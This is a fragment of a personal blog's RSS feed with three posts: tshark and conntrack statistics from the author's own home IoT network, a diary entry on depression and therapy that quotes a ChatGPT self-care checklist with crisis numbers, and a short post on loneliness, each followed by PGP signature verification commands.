    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    + + The Loop of Doom + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/loop_of_doom/ + Fri, 07 Nov 2025 13:45:52 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/loop_of_doom/ + <p>It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn&rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I&rsquo;ve been feeling more down, sad, exhausted. I&rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I&rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It&rsquo;s exhausting.</p> + It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

    +

    Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

    +

    I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

    +

    I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

    +

    This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

    +

    This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

    +

    Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

    +

    I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

    +

    It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

    +

    I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

    +
      +
    • Going for short walks
    • +
    • Doing small tasks that make me feel good
    • +
    • idk… I don’t remember anything else.
    • +
    +

    ChatGPT also gave me some advice, I’ll copy it here:

    +
    # 14‑Day Reset — Daily Checklist
    +
    +**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________
    +
    +### How to use (60 seconds)
    +
    +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
    +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
    +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
    +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
    +
    +### Define today’s Minimum Reliable Dose (MRD)
    +
    +*(Write clear, tiny actions with a start line → action → done proof.)*
    +
    +* **Study MRD:** ________________________________________________________________
    +* ---
    +* **Work/Code MRD:** ____________________________________________________________
    +* ---
    +
    +---
    +
    +### Daily tracker (14 days)
    +
    +| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
    +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
    +| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +
    +---
    +
    +### Quick reference
    +
    +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
    +
    +**Code — restart protocol:**
    +
    +1. Open repo → `git status` → run tests/linter → open last‑changed file.
    +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
    +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.
    +
    +---
    +
    +### Safety net (Germany)
    +
    +* **Emergency:** 112
    +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
    +  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
    +

    Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

    +

    But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

    +

    Darn. That is a lot. Lot of bad things. Back to back to back.

    +

    Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

    +

    I try to keep ya’ll, the empty list of people, updated.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
    +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX
    +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
    +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp
    +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
    +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
    +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
    +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
    +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA
    +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
    +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
    +=Cuma
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md.asc
    +gpg --verify loop_of_doom.md.asc loop_of_doom.md
    +  
    +
    + + +]]>
    +
    + + Cupid is so dumb + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/ + Tue, 04 Nov 2025 19:35:16 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/ + <p>The lyrics are being played in my brain day and night.</p> +<p>&ldquo;A hopeless romantic all my life&rdquo;</p> +<p>&ldquo;Surrounded by couples all the time&rdquo;</p> +<p>&ldquo;I guess I should take it as a sign&rdquo;</p> +<p>But&hellip; &ldquo;I gave a second chance to Cupid&rdquo;</p> +<p>&ldquo;But now I&rsquo;m left here feelin&rsquo; stupid&rdquo;</p> +<p>I might&rsquo;ve given more than two chances to cupid.</p> +<p>But I&rsquo;m still left here felling&rsquo; stupid.</p> +<p>&ldquo;I look for his arrows every day&rdquo;</p> + The lyrics are being played in my brain day and night.

    +

    “A hopeless romantic all my life”

    +

    “Surrounded by couples all the time”

    +

    “I guess I should take it as a sign”

    +

    But… “I gave a second chance to Cupid”

    +

    “But now I’m left here feelin’ stupid”

    +

    I might’ve given more than two chances to cupid.

    +

    But I’m still left here felling’ stupid.

    +

    “I look for his arrows every day”

    +

    “I guess he got lost or flew away”

    +

    But does it matter anymore? +It shouldn’t. It really shouldn’t.

    +

    Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

    +

    Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

    +

    The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

    +

